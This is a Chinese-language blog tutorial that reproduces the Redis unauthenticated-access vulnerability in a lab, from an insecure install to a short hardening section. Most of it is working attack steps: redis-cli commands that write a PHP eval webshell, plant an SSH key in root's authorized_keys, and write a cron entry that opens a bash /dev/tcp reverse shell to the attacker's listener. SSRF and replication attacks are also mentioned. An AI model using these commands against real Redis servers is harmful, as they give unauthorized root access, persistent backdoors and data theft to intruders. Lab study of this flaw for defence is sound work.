Redis未授权访问漏洞搭建复现

今天我们来学习一下什么是Redis未授权访问漏洞,以及各种利用方法。

文章目录

  • 一、什么是Redis未授权访问漏洞
  • 二、Redis环境搭建
  • 三、漏洞利用
  • 四、漏洞总结
  • 五、漏洞防护

一、Redis未授权访问漏洞介绍

        Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作

产生条件

1.redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问,直接暴露在公网

2.没有设置密码认证,可以远程登录redis服务

漏洞危害

1、攻击者可以不用认证访问到内部数据,可能导致敏感信息泄露,黑客也可以执行攻击代码清空所有数据

2、黑客可以通过eval执行lua代码,或者通过数据备份功能往磁盘写入后门文件

3、如果redis以root身份运行,黑客可以给root用户写入ssh公钥文件,直接通过ssh远程登录服务器。

redis常用命令

config set dir /home.test 设置工作目录

config set dbfilename redis.rdb 设置备份文件名

config get dir 检查工作目录是否设置成功

coonfig get dbfilename 检查备份文件名是否设置成功

save 进行备份操作

漏洞复现

攻击机kali:192.168.1.128

redis 服务器:120..........

redis服务器:192.168.1.151

redis环境安装

安装编译依赖包

yum -y install gcc* tcl tcl-devel
yum -y install make

下载redis 软件包

wget http://download.redis.io/releases/redis-6.2.4.tar.gz

编译安装redis

tar xzf redis-6.2.4.tar.gz
cd redis-6.2.4/src
make
make install PREFIX=/usr/local/redis

常用命令

安装完成后,在/usr/local/bin下面可以看到redis提供的5个命令工具,现简单介绍如下
redis-server:Redis服务器的daemon启动程序
redis-cli:Redis命令行操作工具。也可以用telnet根据其纯文本协议来操作
redis-benchmark:Redis性能测试工具,测试Redis在当前系统下的读写性能
redis-check-aof:数据修复
redis-check-dump:检查导出工具

修改配置文件

在源码包的根目录下面有一个默认的redis.conf文件,将其拷贝到系统的/etc目录下面

cp redis.conf /etc
vim /etc/redis.conf
​
#bind 127.0.0.1
protected-mode no
daemonize no

打开配置文件把下面对应的注释掉(或者可以针对自己的ip进行bind)

# bind 127.0.0.1

Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程,设置为no

daemonize no

关闭保护模式

protected-mode no

重新启动配置文件才会生效:

redis-server redis.conf(在redis.conf文件目录下执行)

关闭防火墙

systemctl stop ebtables firewalld

启动redis服务

/usr/local/redis/bin/redis-server /etc/redis.conf

将此启动脚本加入到/etc/rc.local,让其开机自启动

echo "/usr/local/bin/redis-server /etc/redis.conf " >> /etc/rc.local

关闭服务命令

redis-cli shutdown

1.写入webshell攻击

前提:root权限开启网站服务,知道绝对路径

1.1查看phpinfo();查看绝对路径

1.2访问目标redis服务,写入后门

redis-cli -h 120.*.*.* -p6379

CONFIG SET dir 绝对路径
CONFIG SET dbfilename test.php
SEt x "<?php @eval($_POST[cmd]);?>"
save

1.3访问写入的后门,可以看到访问成功

2.利用ssh写入公钥

前提,root权限运行redis,开放了ssh,允许公钥连接

原理:就是在redis数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key

2.1在kali中生成公钥和私钥

ssh-keygen -t rsa

┌──(root?kali)-[~]
└─# ssh-keygen -t rsa       
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:UgzhkW5gHV1pcx/k4SbgkgEHNr452PITGkjjsqWje9M root@kali
The key's randomart image is:
+---[RSA 3072]----+
|     .XBo.o. .o  |
|    o+o*.++..o.. |
|  o. oo =..o..+. |
| o o oo+ .   o.  |
|. + +.B S        |
| =   = +         |
|+  .. o          |
|..o E  .         |
|oo .             |
+----[SHA256]-----+

2.2打开id_rsa.pub文件,将里面内容复制出来。

2.3连接主机

redis-cli -h 92.168.1.151 -p 6379

2.4设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将kali生成的ssh公钥数据保存在目标服务器硬盘上路径为/root/.ssh/里面,因此我们可以通过kali的ssh私钥连接目标主机

config set dir /root/.ssh/  
config set dbfilename authorized_keys
# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
save
quit

2.5最后ssh连接目标主机,成功获取root权限

ssh -i id_rsa root@ip

注意:如果执行完config set dir /root/.ssh/出现NO such file错误,原因有可能不是linux服务器未使用密钥登录,而可能是目标为Windows服务器,肯定就没有 /root/.ssh目录了,可以使用 config get dir或者info手机目标信息,确认操作系统。

3、利用crontab反弹shell

        原理在redis数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

3.1、在kali攻击机192.168.1.128监听任意端口

┌──(root㉿kali)-[/home/kali/桌面]
└─# nc -lvnp 5678         
listening on [any] 5678 ...

3.2、连接目标redis服务,写反弹shell

┌──(root㉿kali)-[/home/kali]
└─# redis-cli -h 192.168.1.151 -p 6379
192.168.1.151:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.128/5678 0>&1\n\n"
OK
192.168.1.151:6379> CONFIG SET dir /var/spool/cron/crontabs
OK
192.168.1.151:6379> config set dbfilename root
OK
192.168.1.151:6379> save
OK
192.168.1.151:6379> 

这时我们查看目标的计划任务

发现写入了计划任务,但是由于乱码没有执行成功,这些乱码也就导致反弹shell失败。这是因为redis向任务计划里写内容出现乱码而导致的语法错误,是无法避免的,但是不同linux版本执行任务时可能会忽略乱码,从而执行计划任务,因此成功与否还得看目标系统

4、结合ssrf漏洞利用

因为实际中大多数redis都会配置得当,一般外网是无法对其进行访问的,只有在内网中可以对其进行访问,因此当我们发现某个网站有ssrf漏洞时,就可以利用ssrf漏洞对其或者内网端口进行扫描,当发现存在redis服务,就可以尝试进行利用

5、主从复制利用脚本攻击,因为我这里Redis版本为6以上,因此就没有利用这个方式,其实这个方式也很简单,利用脚本即可。


四、总结

当目标存在Redis未授权访问漏洞时,可以利用以下方式

 

利用方式利用前提备注
写入公钥
  • root权限运行redis
  • 开放了ssh,允许公钥连接
写入webshell
  • root权限运行redis
  • 知道网站根路径
反弹shell
  • root权限运行redis
  • 开启了计划任务
从主复制   redis 4.x/5.x无需root权限启动redis,获取的权限为启动用户的权限

五、漏洞防护

*设置本机访问或者指定主机ip访问redis,修改redis.conf中的bind配置

*利用防火墙设置指定ip访问redis

*最小权限运行redis服务

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值